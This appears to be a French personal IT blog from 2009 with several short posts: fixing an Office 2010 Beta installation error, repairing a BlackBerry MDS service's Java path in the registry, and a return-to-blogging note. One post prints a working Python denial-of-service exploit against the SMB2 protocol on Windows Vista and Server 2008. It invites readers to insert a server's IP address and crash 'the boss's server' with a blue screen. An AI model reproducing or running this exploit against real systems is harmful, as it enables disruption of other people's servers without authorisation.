mercredi 30 septembre 2009

Microsoft Office 2010 Beta

J'ai téléchargé Office 2010 Beta, build 14.0.4417.1000, histoire de voir un peu ce que ca donne.

L'installation se déroule sans soucis, jusqu'à la fin. Et paf! Erreur 1920 :
Error 1920. Sercice 'Windows Search' (wsearch) failed to start. Verify that you have sufficient privileges to start system services.
Comment faire...
Sous Windows Seven, Windows Search fait partie du système et ne peux pas être réinstallé ou mis à jour directement.
Ma première idée : désactiver le module.
Dans le Panneau de Configuration, Programmes et Fonctionnalités, Fonctionnalités Windows.
Je décoche la case Windows Search, et je redémarre le PC.

Je relance l'installation et j'attends...

La barre de progression est maintenant au même niveau que tout à l'heure.
Pour observer le comportement de l'installation, je lance le gestionnaire de services, et l'observateur d'évènements.

Dans les Services Windows, le service Windows Search ne semble pas présent. Donc je pense que l'installateur d'Office n'a pas rajouté le module par lui-même.
Observateur d'évènements -> Journaux Windows -> Applications : Rien d'alarmant... Ouf

L'installation continue... Et se termine !

jeudi 24 septembre 2009

Faire planter un serveur dans une entreprise... Trop simple !

Je viens de tester cette méthode sur un de mes serveurs, sous Windows Server 2008 :

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


Voilà un petit but de code en Python. Vous voulez faire planter un serveur ?
Copiez ce code dans votre bloc note, modifier "IP_ADD" par l'adresse IP du serveur à faire sauter, sauvegardez le tout sous "planter_le_serveur_du_boss.py".
Téléchargez le runtime Python à cette adresse.

Double-cliquez sur le fichier créé... Et vous obtiendrez un bel écran bleu sur le serveur!

Ce petit script marche avec Windows Vista et Server 2008, mais également sous Windows Seven RC. La version finale de Seven est protégée en revanche.

Vous voulez connaitre le comble de l'histoire? Cette faille de sécurité est liée à un patch de sécurité précédent de Windows! Magnifique...

Cette faille concerne le protocole de partage de fichiers de Windows, le protocole Samba. Le seul moyen de se protéger de  cette faille pour le moment est de désactiver le partage de fichiers. C'est bien mais ça reste gênant sur un serveur sensé servir de serveur de fichiers!

mercredi 23 septembre 2009

Blackberry Mobile Data System Service

Aujourd'hui en stage, j'ai passé près de 2 heures à comprendre pourquoi le service MDS de Blackberry ne voulait pas démarrer.

J'avais à l'écran de mon portable un message du genre "Le service Mobile Data System n'est pas disponible" ou "The Mobile Data System (MDS) is not available"...

Je lance la console de gestion de Blackberry et je me rend effectivement compte que le service ne démarrait pas. L'Event Viewer de Windows Server ne me donnant pas d'informations utiles (à part "Cannot show the error description") j'ai cherché à trifouiller partout.

Le MDS se base sur Tomcat, dépendant de la machine vurtuelle Java. Et là... Ding !

Pour éviter d'encombrer le serveur j'avais supprimé la vieille machine 1.5 en la remplacant par la 1.6. Or, le service démarre en exécutant la machine virtuelle Java qui lui est passée en paramètre lors de son installation.

Lancement du bon vieux Regedit :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servvices\Blackberry MDS Connection Service
La clé "ImagePath" contient la ligne de commande du service :
"D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\bin\bmds.exe" -s jvmpath="C:\Program Files (x86)\Java\jre6\bin\client\jvm.dll" -XX:+DisableExplicitGC -Xss64K -Xmx768M -Xms128M classpathdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\classpath\\" wrkdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\Servers\BLACKBERRYSERVER\\" webserverdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\webserver\\" -rbes "SERVERNAS_MDS-CS_1"

La partie en gras est ce qu'il faut modifier. J'ai mis "jre6" à la place de l'ancienne version, maintenant supprimée.

Et voilà, le service a redémarré.

Retour

Après une longue période d'absence, je reprend mon blog.

Pourquoi cette absence?
Restant en France pour cette année, je ne voyais pas l'intérêt de continuer ce blog. Mais comme je compte retourner en Californie l'an prochain, je vais continuer.